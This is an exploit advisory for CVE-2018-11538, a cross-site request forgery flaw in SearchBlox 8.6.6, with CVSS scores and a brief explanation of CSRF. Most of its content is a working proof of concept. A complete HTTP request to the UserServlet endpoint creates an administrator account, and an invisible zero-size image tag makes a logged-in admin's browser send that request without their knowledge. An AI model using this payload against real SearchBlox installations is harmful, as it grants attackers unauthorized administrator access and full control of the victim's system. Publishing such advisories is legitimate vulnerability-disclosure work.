SearchBlox 8.6.6 Cross-Site Request Forgery

Credit: Ahmet Gurel
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: CSRF Privilege Escalation (Creation of an administrator account) on SearchBlox 8.6.6 # Exploit Author: Canberk BOLAT, Ahmet G√úREL # Software Link: # Version: < = SearchBlox Version 8.6.6 # Platform: Java # Tested on: Windows # CVE: CVE-2018-11538 # 1. DETAILS Using Cross-Site Request Forgery (CSRF), an attacker can force a user who is currently authenticated with a web application to execute an unwanted action. The attacker can trick the user into loading a page which may send a request to perform the unwanted action in the background. In the case of Searchblox, we can use CSRF to perform actions on the admin dashboard by targeting an administrator. # 2. PoC: We assume that Searchblox is installed at http://localhost:8080/. Our target is /searchblox/servlet/UserServlet u_name, u_passwd1, u_passwd2 and role parameter which is the page used to create a new user. The given POC will create a user on the website which has full administrator privileges. HTTP Request: GET /searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/searchblox/admin/main.jsp?menu1=adm Content-Type: application/x-www-form-urlencoded Content-Length: 0 Cookie: JSESSIONID=touluja8tpjc1iiwquoyiigfi; Connection: close Upgrade-Insecure-Requests: 1 Attack Vector: <img src="http://target:8080/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser" width="0" height="0">

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